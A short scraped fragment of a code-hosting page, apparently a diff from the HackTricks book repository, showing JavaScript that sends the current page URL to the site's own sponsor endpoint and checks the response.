const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user